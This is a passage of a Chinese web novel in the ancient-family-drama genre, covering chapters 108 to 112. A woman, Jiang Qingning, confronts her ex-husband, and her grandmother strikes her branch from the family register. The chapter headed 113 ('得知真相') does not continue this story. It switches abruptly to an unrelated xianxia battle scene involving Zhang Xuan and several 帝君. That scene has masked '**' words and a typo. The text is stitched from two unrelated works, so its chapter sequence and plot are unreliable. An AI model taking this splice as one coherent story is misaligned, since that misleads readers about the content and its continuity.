那双他曾无比熟悉的眼眸,此刻只剩下深不见底的寒潭,平静无波,仿佛在看着一个彻头彻尾的陌生人。 “姜清宁,你看到我就没有半句话想要说吗?” “我和安平伯可有什么好说的?”姜清宁冷声质问。 这种不愿承认的熟悉感觉又来了,就像前几日在刑部的大牢里一样。 姜清宁的眼神,和秦休使用残忍手段审问温子怡的姿态一样,就像是亲密无间的人,分别在不同的地方做了相同的事情一样。 这种认知让荀臣嫉妒不已,他不愿承认自己后悔了。 可尽管从前对姜清宁放过无数的狠话,又听从母亲的话再次娶妻成家。 在这一刻,他深刻地意识到。 他,后悔了。 荀莫离红着眼眶,没一个人哄他,巨大的落差让他忍不住想哭出声。 “哭什么哭,憋回去。”姜清宁皱眉,神情冷漠,“荀莫离,你是个男子汉,不要遇到事就哭。” “他还只是个孩子……”荀臣回神,连忙开口辩解,“姜清宁,你别这么凶,小心吓到孩子了。” 第一百零八章逐出家门 “凶?敢问安平伯为何把孩子带过来,难不成是想,在我面前和你的新婚妻子,上演一场情比金坚,继子认继母的漂亮戏码?” 姜清宁语气咄咄逼人,丝毫不给荀臣辩白的机会。 “不是,我没有这意思,荀莫离永远都是你的孩子,这是任何人都无法改变的结局。” “那你就不要阻拦我教育荀莫离,一个孩子能够教养得怎么身娇肉贵,动不动就喊哭喊疼,眼神凶狠得像是一头小狼崽子。” “不知道的,还以为我姜清宁杀了他的亲娘。” “不是……”荀臣被姜清宁的直白逼得哑口无言。 姜月柔掩唇,眼波流转,声音不大,却清晰地传入每个人的耳中: “方才清晞妹妹言语虽直白了些,倒也道出了几分世情冷暖,不过古人云既见君子,云胡不喜,这喜字原该是发自内心的欢悦,只是眼前这位‘君子’的行止嘛……” 她故意拖长调子,目光在荀臣和姜如意之间意味深长地扫过。 “倒让我想起《诗经·召南》里的‘维鹊有巢,维鸠居之’,雀儿辛苦筑好了温暖的巢穴,转眼却被鸠鸟强行霸占,还得意扬扬地在里头鸣唱。” “如今旧主雀儿离巢,纵然心中有所眷念,徘徊于旧巢之外,也只能徒然‘瞻望弗及,泣涕如雨’罢了。” 她微微一顿,唇角的笑意带着冰冷的嘲讽,“只是这迟来的眼泪,究竟是追悔莫及的真情流露,还是惺惺作态的鳄鱼眼泪,可耐人寻味得很了,安平伯,您说是也不是?” 姜月柔引经据典、指桑骂槐,毫不留情的点出荀臣的薄情寡义。 荀臣觉得一股寒气从脚底板直冲天灵盖,心脏像是被一只无形的手狠狠攥住,痛得他几乎窒息。 他确实后悔了。 在无数个辗转反侧的夜晚,在先后看到姜清宁与秦休狩猎场并肩而立,得知秦休后宫倾力维护姜清宁,更是将姜清宁从温子怡的事件中摘出来后。 那份曾经以为从未存在的情愫,混杂着强烈的不甘、嫉妒和巨大的失落,像藤蔓一样缠绕着他,心脏处被日夜啃噬。 姜如意身体晃了晃,被身边的许嬷嬷紧紧抓住。 许嬷嬷声音尖锐,似是提醒:“夫人,您可千万要站稳了,老夫人可就等着您这一胎宝贝金疙瘩呢!” 荀臣一怔,母亲警告犹在耳边,字字如锤、 “荀家绝不能再与姜清宁有任何瓜葛,尤其是现在她攀上了秦休,你想害死整个安平伯府吗?” 可他就是忍不住,在毫不犹豫地拒绝厌恶的姜如意之后,姜清宁离开安平伯府那日的容颜,无时无刻的不回荡在脑海之中。 荀臣借着儿子想娘这个看似合理,实则漏洞百出的由头,默默地来了。 原只想躲在暗处,悄悄地再看一眼被他亲手推开,如今却活得更加耀眼夺目的女人。 可姜清宁竟然是一眼发现他,这是否代表着,姜清宁对他……还是不一样的? “我……”荀臣的喉咙干哑得厉害,他艰难地吞咽一下,试图找回自己的声音。 不敢再看姜清宁那双洞悉一切的眼睛,只能将视线死死锁在荀莫离的头顶。 “是莫离,这孩子近些日子总是夜里哭醒,闹着要找母亲,茶饭不思,人都瘦了一圈。” 他抬手,似乎想抚摸荀莫离的头以示证明,却被荀莫离下意识地愤怒地偏头躲开。 荀臣的手僵在半空,尴尬更甚。 “我这个做父亲的,看着他这样,于心不忍才带他过来,原是想着或许远远地能让他看一眼就好……” 解释欲盖弥彰,连他自己都觉得虚伪可笑。 他不敢承认,真正“于心不忍”、真正“茶饭不思”的人,是他自己。 是他自己像个懦夫一样,借着儿子的名义,来满足自己那点可悲的、迟来的思念。 姜如意听着漏洞百出的解释,心中醋坛彻底被打翻,精心保养的指甲深深掐进掌心,几乎要掐出血来。 她怨毒的目光像淬了毒的刀子,狠狠剜了姜清宁一眼,那眼神仿佛要将对方生吞活剥。 还有她永远也无法真心接纳的继子荀莫离,都是这个孽种,都是姜清宁这个阴魂不散的贱人! 姜老太太见心中又急又怒,再次将拐杖重重顿地,试图用长辈的威严,强行压下这失控的局面。 “够了!都给我住口!” 她扫过姜清晞和姜月柔,怒斥道:“两个没规矩的丫头,目无尊长,口出狂言,老身还在这里,就敢如此放肆!” “如意如今是安平伯府明媒正娶、三媒六聘抬进去的夫人,更是身怀六甲,为安平伯府开枝散叶的有功之人,是你们的嫡姐,你们竟敢如此对她无礼讥讽?心中还有没有王法,懂不懂纲常伦理?” 她猛地转向姜清宁,拐杖几乎要戳到姜清宁鼻尖,语气更是严厉到极点,带着不容置疑的审判意味: “姜清宁,睁开你的眼睛好好看看,这就是你纵容出来的好姐妹,不敬尊长,不睦姐妹,言语恶毒,行止无状。” “姜家遭此大难,四分五裂,祖宗基业几乎毁于一旦,老身痛心疾首,思来想去,根源皆在于你,是你心胸狭隘,睚眦必报,逼得你二叔三叔走投无路!是你不修妇德,招蜂引蝶,引得家门蒙羞!是你纵容刁奴恶仆,欺凌长辈,搅得家宅不宁!如今更是变本加厉,伙同外人,欺辱自家骨肉姐妹,你眼里,可还有半分姜家的祖宗,可还有半分孝道?” 姜老太太越说越激动,胸口剧烈起伏,唾沫星子几乎喷溅出来。 她深吸一口气,仿佛用尽了全身的力气,掷地有声道: “家门不幸,出了此等不肖子孙,老身今日便豁出这张老脸,替姜家列祖列宗清理门户,行家法,肃门风!” 她枯瘦的手指颤抖着指向姜清宁姐妹三人: “你们三个从今日此刻起被逐出姜家族谱,不再是姜家子孙,姜家老宅你们休想再踏入一步,姜家的荣辱兴衰也与你们再无半分瓜葛,都给老身滚出姜家,永远不要再回来!” 姜老太太说得斩钉截铁,仿佛金科玉律,不容置疑。 第一百零九章触怒姜清晞 “祖母确定要这么做?”姜清宁似乎是不敢相信,开口询问,“祖母可是真的,要把我们姐妹三个,都赶出姜家的族谱?” 姜老太太扬声:“那是当然,你们顶撞祖母是为不孝,欺辱如意,是为不仁,尔等这品行恶劣的人,怎配继续做我姜家的后代!” “祖母可莫要后悔,若是离开这宁阁的门,您回去当真把族谱上的名字划掉,那可就没有后悔的余地了。” 姜清宁轻笑:“祖母,想清楚了?” “早已经想清楚了,反倒是你,绝对没有后悔的余地!” 她浑浊的眼中闪过一丝狠厉和快意,仿佛终于将这个眼中钉、肉中刺彻底拔除。 周围的百姓顿时哗然,神情之中尽数都是不可思议,窃窃私语的声音嘈杂地响起。 “这老太太是疯了吗?竟然将为国尽忠的大房赶出族谱?” “就是啊,谁不知道姜将军当年是不愿和那些贪官同流合污,才会被针对贬官,流放到那么远的地方。” “没错!她今日的此举和昔日的那些刽子手,又有何区别?” “世风日下,世风日下啊!” “这些现如今的姜家人,还有着安平伯,怪不得能结亲成为一家人!” …… 姜如意听到正儿八经地逐出族谱的决策,心底终于满意。 这无疑对姜清宁来说是最终极、最严厉的惩罚,这种足以让任何世家子弟如遭雷击,惶恐跪地求饶。 姜如意脸上重新浮起一丝扬眉吐气的得意笑容。 她微微扬起下巴,挑衅地看着姜清宁,“看吧,姜清宁,你终究是个被家族抛弃的弃妇,没有人会在意你,也没有人爱你。” “而我姜如意,才是最终的赢家,我的父亲很快就是名正言顺、独一无二的姜家家主了,姜家的一切都将属于我们。” “嗯,所以呢?”姜清宁冷静地询问。 出乎姜老太太和姜如意,和在场所有看客的意料。 姜如意错愕:“你这是什么态度?”她忍不住看过去。 然而姜清宁的脸上非但没有浮现出丝毫的惊慌、恐惧、愤怒或者悲伤,甚至连一丝涟漪都没有。 她只是静静地站在那,身姿挺拔如寒风中傲立的青竹。 阳光勾勒出她清丽绝伦的侧脸轮廓,长长的睫毛在眼下投下一小片阴影,遮住了眸底最深处的情绪。 姜老太太眼眸中泛着危险的意味:“姜清宁,难不成你还不满意吗?不仅仅是你,连带着你们大房,都别想继续做我们姜家人!” “呵” 姜清宁唇边的笑意加深些许,目光落在因她的笑容而惊疑不定、隐隐感到不安的姜老太太身上。 她的声音不高,甚至称得上平和,敲打在每个人的心弦上。 “清宁请问祖母。”姜清宁开口,语气平静得可怕,“您说要清理门户?可是要将我父亲,那个为姜家挣下赫赫军功、却被您不喜、遭受明升暗贬到岭南瘴疠之地整整八年生死未卜,而您都未曾过问一声的长子?” “以及我兄长、在边关浴血奋战、保家卫国的姜家嫡孙;我这个在姜家老宅被二房三房欺凌算计、嫁入安平伯府八年受尽冷眼、最终和离的长房嫡女。” “要将清边疆受苦八年、至今心有余悸的妹妹;还有月柔妹妹这个被三房当作弃子、最终选择反抗命运、与我们站在一起的苦命人……” 她每点出一个名字,说出一段过往,姜老太太的脸色就难看一分。 这话让荀臣心头一悸,他忍不住想起自己曾经做的,那些姜家人不知道的过往,那桩草草了结的案件。 如果姜清宁知道……是否会想要杀了他? 就算她没动手,秦休知晓后,或许应该也会动手的吧? “你……” 姜如意脸上的得意僵住,姜老太太握着拐杖的手发紧。 周围的空气冷凝。 “祖母的意思我明白了,您是要代替已逝的祖父……连同我们所有人,”姜清宁的语气没有丝毫起伏,却字字如重锤,“一同逐出姜家族谱?” 她微微歪了歪头,动作带着一种近乎天真的疑惑。 那双秋水般的眼眸里,闪烁着洞穿一切伪装的寒光。 姜清宁唇边的讽刺如同实质般倾泻而出,几乎要灼伤姜老太太的眼睛。 “好啊。” 这两个字,轻飘飘地落下,却如同在平静的湖面投下巨石。 姜老太太和姜如意同时瞪大了眼睛,几乎以为自己听错了。 不应该是这样啊,姜清宁的痛哭流涕呢,她的挽留和跪地求饶呢? 紧接着,姜清宁唇角的弧度加深,那笑容里充满了毫不掩饰的轻蔑: “清宁,求之不得。” “轰——!” 这四个字,如同惊雷,在宁阁门前轰然炸响! “你……你说什么?!”姜老太太如遭雷击,整个人剧烈地晃了一下,全靠拐杖支撑才没有摔倒。 她指着姜清宁的手指颤抖不已,脸上的皱纹扭曲在一起,浑浊的老眼里满是难以置信。 “孽障!孽障!你……你竟然,你竟敢……” “姐姐!”姜清晞先是一愣,随即爆发出清脆响亮的笑声,笑声里充满快意和解脱,“阿姐说得好,我们的确是求之不得。” “这样的姜家,这样的族谱,沾了都嫌脏了我们的手,阿姐只管放心的答应。” “若是父亲母亲知道阿姐这些年受到的委屈,恐怕只会比我们你我更早地做出这件事,哪还轮得他们张牙舞爪地舞弄是非!” 她上前一步,紧紧挽住姜清宁的手臂,眼神挑衅地看向姜老太太和姜如意。 姜老太太浑身一震,怒斥道:“放肆!果然是你那个母亲养的好女儿,当真是她的好女儿啊!我就说萧家没有一个好东西,全部都是孽障!” 姜清晞脸色一沉,眼瞧着被触怒了。 她的声音发冷,带着刻骨的寒意:“老虔婆,给我带着你的宝贝孙女赶紧滚,从今往后我们大房,与你们二房三房恩断义绝,这姜家的污糟气我们姐妹不伺候!” “趁姑奶奶我没发脾气之前,赶紧滚!否则,全部都别想全须全尾地离开!” 第一百一十章姜月柔夹枪带棒 “小妹,别激动,祖母毕竟是长辈。” 姜月柔摁住她的肩膀,盈盈上前,对着姜老太太的方向,姿态优雅地福了一礼。 姜老太太的面色刚缓和一些,下一刻顿时更加难看起来。 姜月柔声音依旧轻柔,却字字诛心: “祖母息怒,清宁姐姐所言,虽直白了些,却是我们姐妹的肺腑之言。” “姜家这潭死水,早已腐朽发臭,沉溺其中,只会同归于尽。” “今日祖母替我们斩断这腐朽的根须,放我们姐妹一条生路,月柔在此谢过祖母‘成全’之恩。” 姜月柔把“成全”二字咬得极重,讽刺意味十足。 同时心中狠狠地松了一口气,毕竟母亲虽然带她和离了,可说到底,她还是在姜家的族谱上待着呢。 若非是大姐姐的计谋,恐怕按照这个多年未见一面的祖母的品行,她没准嫁了人之后,还会被狠狠地吸上几番血。 好赌的二伯和亲生父亲,姜月柔光是想一想,就两眼一抹黑。 “反了反了,全都反了天了!”姜老太太气得浑身哆嗦,一口气差点没上来。 多年叱咤后宅,她又怎么会看不出姜月柔的举动,但姜老太太当真是被气着了,并且下定决心要将她们都逐出姜家。 她的脸色由红转白,再由白转青,胸口剧烈起伏,眼看就要背过气去。 “祖母,祖母您别动气!”姜如意慌忙扶住摇摇欲坠的姜老太太。 她一边替姜老太太顺气,一边怨毒地瞪着姜清宁三人。 “你们这三个不知好歹的贱人,被逐出族谱是天大的耻辱,你们竟敢如此嚣张,祖母别跟她们废话,我们这就走,让她们自生自灭!” “看她们离了姜家之后,还能得意到几时!” 姜如意心中更慌,姜清宁的反应完全超出了她的预料,这根父亲和三叔的谋策,几乎是完全持着相反的路子来的。 那“求之不得”四个字,像一盆冰水,浇灭了她刚刚升起的得意,只剩事情脱离掌控的恐慌和嫉恨。 姜老太太再待在这里,只会气得提前去见姜老太爷,顿时点头:“走,我们走,这就回去开祠堂……” “站住!”姜清宁冷冽的声音响起。 姜如意扶着姜老太太正要转身离去的动作一僵。 姜清宁目光刺向姜如意抚着小腹的手,嘴角勾起一抹洞察一切的了然弧度:“姜如意,不,安平伯夫人,在离开之前,有句话奉劝你。” “与其在这里费尽心机,炫耀你那身怀六甲的尊贵身份,不如先找个真正靠得住的大夫,好好看看你的肚子。” 她的话点到即止,但却精准地刺中了姜如意心底。 姜如意的脸瞬间血色尽褪,变得惨白如纸,连嘴唇都在哆嗦,心底没由来的升腾起一抹恐慌。 “你……你胡说什么,姜清宁,你敢污蔑我?你就是见不得我能怀上儿子!” “是不是污蔑,你自己心里清楚。” 姜清宁不再看她,那眼神仿佛在看一堆污秽的垃圾,“带着你的祖母,还有……” 她的目光扫过呆立当场的荀臣,与茫然的荀莫离,“……你安平伯府的人,立刻离开我的宁阁门前,否则怪我不念最后一丝情面,让府衙的差役来‘请’你们走。” 姜清宁语气里,是充满毫不掩饰的威胁和驱逐之意。 “你……你……”姜老太太气得说不出完整的话。 只能被慌忙赶来的姜家老仆半扶半抱着,踉踉跄跄地朝着马车走去,背影充满狼狈和仓皇,哪里还有半分刚才气势汹汹问罪的架势。 姜如意扶着独自转身,临走前,怨毒的目光像是要将姜清宁三人凌迟。 当她的目光扫过荀臣时,发现他竟然还站在原地,目光复杂地看着姜清宁。 姜如意心中的妒火更是烧得她理智全无,尖声叫道:“夫君愣着干什么,难道夫君还想留在这里,看你这下堂前妻的脸色吗?” 荀臣被姜如意的尖叫声惊醒,猛地回神,姜如意脸色惨白,许嬷嬷满脸的担忧和不认同。 许嬷嬷开口道:“伯爷,您还是快随夫人回去吧,这里说到底,是不欢迎咱们的。” 荀臣看着姜清宁再无半分旧情的侧脸,一股难以言喻的失落涌上心头。 一切都结束了。 他彻底失去了她。 失去了她的人,连最后一点在她心中的位置,也被自己亲手毁得干干净净。 “爹爹……” 荀莫离下意识地往荀臣身后缩了缩,小手紧紧抓着荀臣的衣角,“爹爹、母亲,离儿害怕,我们回家吧。” “白眼狼!”姜清晞再也忍不住,指着荀莫离,气得浑身发抖,眼泪在眼眶里打转。 “这才是你亲娘,十月怀胎生下你的亲娘,你竟然……你竟然管那个贱人叫娘?荀莫离你的良心被狗吃了吗?” 姜月柔眼神冰冷:“稚子无辜?我看未必,安平伯府的老夫人果然好手段,这才多久就将亲孙子的心肝都染黑了。” 荀莫离被吓得哭了出来,更加用力地往荀臣身后躲,嘴里不停地喊着:“爹,爹,我要回家,她们好凶,她们是坏人!” 荀臣看着哭闹的儿子,又看看姜清宁那瞬间变得更加苍白、却依旧强撑着挺直的背影,心如刀绞。 他张了张嘴,想说些什么,却发现任何言语,在此刻都显得如此苍白无力。 “姜清宁,你别讨厌莫离,他到底是你的孩子。” “如果安平伯当真拿我当一回事,就不会在孩子面前,亲口说出我讨厌他这种话,你的言语无形之中在荀莫离的心上,再次加固了我对他不喜的记忆。” “荀臣,我和你走到这一步,你又何尝不是那背后的助推手呢?” 姜清宁神色嘲讽:“现在后悔了?早干什么去了。” 姜月柔连声附和,语气夹枪带棒的:“八年时间都没有捂热一个男人的心,只能说明这个男人眼瞎,府中老娘和贱妾会蛊惑人心,这样的男人谁嫁谁倒霉一辈子。” “当然,大姐姐脱身而出的刚刚好。” 第一百一十一章姜家不要你,我要你 荀臣弯腰抱起哭闹的荀莫离,几乎是逃也似的,大步朝着安平伯府的马车走去。 姜如意狠狠地跺了跺脚,怨毒地剜了姜清宁三姐妹一眼,慌忙追着荀臣而去。 喧嚣散尽,宁阁门前终于恢复宁静。 方才还围得水泄不通的门外,人群察觉没了乐子,瞬间退得干干净净。 姜清晞再也忍不住,扑进姜清宁怀里,放声大哭起来。 姜清宁深吸一口气,将心中翻涌的情绪强行压下。 “好了,别哭了。”她声音沉稳,“为了不相干的人掉眼泪,不值得。” 她轻轻推开姜清晞,拿出丝帕温柔地擦去妹妹脸上的泪水,又对姜月柔点头感谢。 “清晞,月柔,”姜清宁不容置疑道,“从今日起,姜家二房三房,安平伯府,与我们再无瓜葛。” “他们走他们的阳关道,我们过我们的独木桥,我姜家的列祖列宗若有灵……” 她顿了顿,眼神扫过姜家老宅的方向,带着一丝冰冷的决绝,“也该睁开眼看看,是谁,在将姜家,拖入万劫不复的泥潭。” 姜清晞哽咽:“阿姐,我不是因为他们掉眼泪,我是心疼你这八年的遭遇,如若当年我和母亲没走,你断不会受这么多的委屈!” 姜月柔观察姜清宁的脸色,刚要开口劝解姜清晞,耳边响起急促的马蹄声。 “哒哒哒,哒哒哒……” 一阵急促而清脆的马蹄声敲打青石板,由远及近。 三人循声望去。 秦休面冠如玉,一身鲜艳夺目的绯色官袍,官袍上用金线精绣着威仪的麒麟补子,昭示着主人显赫的身份,胯下骑着红鬃烈马,正向着宁阁的方向而来。 不消片刻。 马儿在宁阁门前发出一声高亢的嘶鸣,前蹄在空中刨动两下,稳稳落地。 秦休的身形被动作清晰地勾勒出,他身量极高,肩宽背阔,绯色官袍完美地包裹着他劲瘦挺拔的身躯,宽肩窄腰,线条流畅而充满力量。 他的面容是极为深邃俊朗的,剑眉斜飞入鬓,鼻梁高挺如同刀削斧刻,薄唇紧抿,下颌线清晰而冷硬。 最令人心悸的眼睛此刻正紧紧锁在姜清宁身上,一双极其漂亮的凤眸眼尾微微上挑,瞳孔是深不见底的墨色,此刻里面翻涌着焦急、以及一丝未能及时赶到的深深自责。 姜清宁错愕,她能够看出秦休眼底的情绪。 “你……你怎的来了?”姜清宁轻声询问。 秦休矫健地翻身而下,动作干净利落,气势凛冽,有些无措的站在台阶下。 “不放心你,收到消息,我就来了。”秦休回答,下一刻,他有些局促的解释,“在皇宫伴驾,来得晚了些。” 自从温子怡之后,他派人在宁阁四周日夜循环蹲守,就是担心会出现什么岔子。 方才宁阁外面闹起来,暗卫便在荀臣出现后第一时间通知了他。 姜月柔眼疾手快的拽走姜清晞:“你不是想吃桃花糕吗?刚好院里最晚开花的那棵树,现在花开得正盛,走,二姐姐带你去采花做糕点。” “啊,可是我现在不想……呜呜呜……”姜清晞被强制性带走。 姜清宁的视线追随着她们,眼底带上宠溺的笑意,开口叮嘱:“小心些,别摔了!” 下一刻,属于秦休独有的冷冽中夹杂着的淡淡松墨气息,瞬间将她整个包裹。 姜清宁觉得眼前绯色官袍的衣料一晃,腰身猛地一紧,整个人便被狠狠地拥入一个坚实滚烫的怀抱。 “受委屈了吗?” 秦休双臂紧紧地箍住了她,力道之大,仿佛要将她揉碎,嵌入自己的骨血之中。 “对不起,让你久等了。”内疚的声音从头顶响起,让姜清宁一阵恍惚。 “没什么,这本就是我姜家的家事,你不出场才是对的。” 她的脸颊被迫贴在他胸前,能清晰地听到他胸腔里那颗心脏,正以失控般的速度剧烈地搏动着,敲打在她的耳膜上,震得她头晕目眩。 “清宁。”秦休嗓音低沉,带着浓得化不开的自责,“我来晚了……” 姜清宁完全僵住。 大脑一片空白。 时间仿佛在这一刻凝固。 巷子里残留的混乱气息,远处隐隐传来的叫卖声,甚至头顶灯笼被风吹动的轻微摇曳声,都仿佛被隔绝在了另一个世界。 唯一清晰的是,她正被秦休紧紧地抱着。 “我都说了,你不是姜家人,只是我的盟友,这种场面不应该你出席。” 姜清宁预想中的反感、厌恶、挣扎通通没有出现。 她竟然奇异地……没有立刻推开秦休。 秦休的怀抱很紧,甚至腰间的玉带扣有些硌人,他的气息强势地侵入她的感官,非但没有让她不适,反而带着一种令人心安的熟悉气息。 姜清宁的心,前所未有地慌乱起来。 她能感觉到他的肌肉紧绷,能感觉到他埋首在她发顶时呼吸的灼热,更能感受到他怀抱中传递出的那份不容错辨的、汹涌澎湃的心疼。 为什么会这样? 她引以为傲的冷静和自制力,在这个突如其来的拥抱面前,似乎正在土崩瓦解。 “我……”姜清宁试图开口,声音却干涩得厉害,带着一丝连她自己都未曾察觉的轻颤,“我没事,秦大人,你先放开我。” 秦休抬起头,深邃的凤眸紧紧地锁住她近在咫尺的脸庞。 姜清宁的脸色有些苍白,唇瓣紧抿,那双总是清冷沉静的秋水眸子里,此刻清晰地映着他焦急的身影,还带着一丝茫然。 “姜清宁,”秦休的声音前所未有的郑重,带着一种不容置疑的承诺,“从今往后,有我在。” “姜家不要你,我要,任何人再敢欺你、辱你、伤你分毫……”他微微停顿,凤眸中寒光凛冽,“我秦休,定让他百倍偿还。” 姜清宁倏然抬眸,撞进他那双深不见底、却格外认真的墨色眼眸中。 那里面没有丝毫的轻佻与试探,只有一片赤诚的心意,如同最坚固的磐石,压向她摇摇欲坠的心防。 一股暖流伴随着更深的慌乱,如同藤蔓般瞬间缠绕住了她的心脏,越收越紧。 第一百一十二章族谱除名 姜府。 马车还未停稳,早已得了信,惴惴不安等在门口的姜柏舟和姜松岩慌忙迎上前。 “母亲,您可算回来了……” 姜柏舟抢上前一步,脸上堆着刻意讨好的笑容,伸手就要去扶刚从马车里探出身,脸色铁青的姜老太太。 “如意也回来了啊,累坏了吧,快,快进府休息,父亲让你母亲为你准备……” “啪!” 一声清脆响亮的耳光,狠狠地甩在了姜柏舟的脸上。 姜老太太用了十成的力气,枯瘦的手掌打在姜柏舟油光发亮的脸上,瞬间留下五道清晰的红痕。 姜柏舟被打懵了,捂着脸,难以置信地看着盛怒的姜老太太:“母亲?” 一旁的姜松岩吓得一个哆嗦,下意识地后退了半步。 “累,休息?”姜老太太死死盯着两个不成器的儿子,“老身差点被你们那个好侄女姜清宁,活活气死在宁阁门口,你们还有脸问老身累不累?” 她一把推开姜柏舟伸过来的手,拄着拐杖,胸膛剧烈起伏。 目光扫过两个儿子,又扫过这栋象征着姜家昔日荣光,如今却显得格外空旷寂寥的老宅,只觉得一股邪火直冲天灵盖。 “看看你们干的好事!”姜老太太的拐杖重重地戳着脚下的青石板,“分家!分家!这就是你们闹着要分家的结果,家不像家,人不像人,姜家的脸面都让你们丢尽了。” “如今连姜清宁那个被休弃的下堂妇,都敢骑到老身脖子上拉屎撒尿,指着老身的鼻子说求之不得被逐出族谱,你们满意了?” “什么?”姜柏舟和姜松岩同时失声惊呼,脸上血色尽褪。 他们是万万没想到姜清宁竟然会欣然接受。 姜如意扶着摇摇欲坠的姜老太太,声音带着哭腔:“祖母您消消气,别为了那些不知好歹的贱人气坏了身子。” “父亲,您是没看到,姜清宁和她那两个贱婢妹妹有多嚣张,她们……她们还污蔑女儿……” “没错!”姜老太太怒极反笑,拐杖指向姜柏舟,“你生的好女儿,还没嫁去平江侯府就翅膀硬了,敢伙同外人欺辱祖母和姐妹了。” “姜家的列祖列宗在上,老身今日若不清理门户,肃清门风,死后有何颜面去见姜家的先人?” 清理门户四个字,如同重锤砸在姜柏舟和姜松岩心头,一股不祥的预感油然而生。 “母亲息怒,清宁那丫头定是气糊涂了,胡言乱语……”姜柏舟试图挽回。 “胡言乱语?”姜老太太厉声打断他,“老身看她是早有预谋,连同你们那在岭南的死鬼大哥,还有姜月柔那个跟着商氏跑了的小贱种,他们大房一脉早就存了异心要毁了姜家,老身今日就成全他们!” 她猛地挺直佝偻的背脊,枯瘦的手指向祠堂方向,声音决绝: “开宗祠!取族谱!老身要亲自执笔,将这些姜家的祸害、忤逆不孝、败坏门风的孽障,通通从姜家族谱上除名,永世不得归宗!” “母亲不可啊!”姜松岩状似吓得魂飞魄散,扑通一声跪倒在地,“大哥……大哥他毕竟是您的长子,清宁她们也是您的亲孙女啊,族谱除名,这是要断他们的根啊,万万使不得,族老们也不会同意的!” “族老?”姜老太太冷笑一声,眼中满是刻毒,“老身是诰命夫人,老身清理门户何须他人置喙,谁敢阻拦就是与姜家列祖列宗为敌,开祠!” 姜老太太积威甚重,府中无人敢违逆。 管家战战兢兢地取了钥匙,打开了尘封的宗祠大门。 姜老太太在姜如意和姜柏舟的搀扶下,拄着拐杖,一步步走到供奉着厚厚族谱的香案前,目光死死盯着那象征着家族血脉的名册。 “取朱砂笔来!”姜老太太的声音在空旷的祠堂里回荡,带着不容置疑的命令。 管家颤抖着将沾满朱砂的毛笔递上。 姜老太太枯瘦的手握住那支笔,目光在族谱上快速搜寻着,最终定格在长房那一页。 “姜柏川、萧氏、姜清淮、姜清宁、姜清晞……” 姜老太太眼中恨意加深,握着手中的朱砂笔,毫不留情地划了下去。 猩红的朱砂瞬间覆盖那些墨写的名字。 “还有这个……跟着商氏那个商户女跑了的小贱种姜月柔!” “母亲!”姜松岩看着女儿的名字被划掉,心如刀绞,再次哀嚎出声,却被姜柏舟死死拉住。 “从今日起。”姜老太太掷笔于地,发出啪的一声脆响。 她环视着祠堂内惊恐的众人,“姜柏川一脉以及姜月柔,与姜家恩断义绝再无瓜葛,他们的生死荣辱,富贵贫贱,皆与姜家无关,祖宗见证,天地共鉴!” 就在这令人窒息的死寂中,祠堂外突然传来一阵急促而杂乱的脚步声,伴随着几声苍老却焦急万分的呼喊: “住手!姜吕氏!快住手!使不得啊!” “糊涂!糊涂啊!你怎么能做出这等断亲绝脉的糊涂事啊!” 只见几位须发皆白、身着深色绸缎长袍的老者,在仆人的搀扶下,气喘吁吁、跌跌撞撞地冲进了祠堂。 为首的正是姜家如今辈分最高、已年过八旬的六叔公,以及几位在族中颇有威望的长老。 六叔公一眼就看到了香案上那本摊开的、沾染着刺目猩红的族谱,顿时老眼圆睁,浑身颤抖,指着姜老太太,痛心疾首地怒斥: “姜吕氏!你……你疯了不成?柏川是你亲生的长子,清淮是我们姜家的下一任家主,清宁清晞是你的亲孙女,月柔是姜家三房的血脉……” “你……你怎么能……怎么能擅自将他们除名,你这是要毁了姜家的根基啊,列祖列宗在上,列祖列宗在上,你这是大不孝啊!” 另一位族老也捶胸顿足:“糊涂啊,柏川纵有万般的不是,他也是在岭南为国戍边的将军,清宁那孩子……就算和离了,那也是我们姜家出去的姑娘!” “你这样做,置姜家的颜面于何地,置我们这些老家伙于何地,你让外面的人怎么看我们姜家,自断臂膀,亲者痛仇者快啊!” 第一百一十三章得知真相 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? 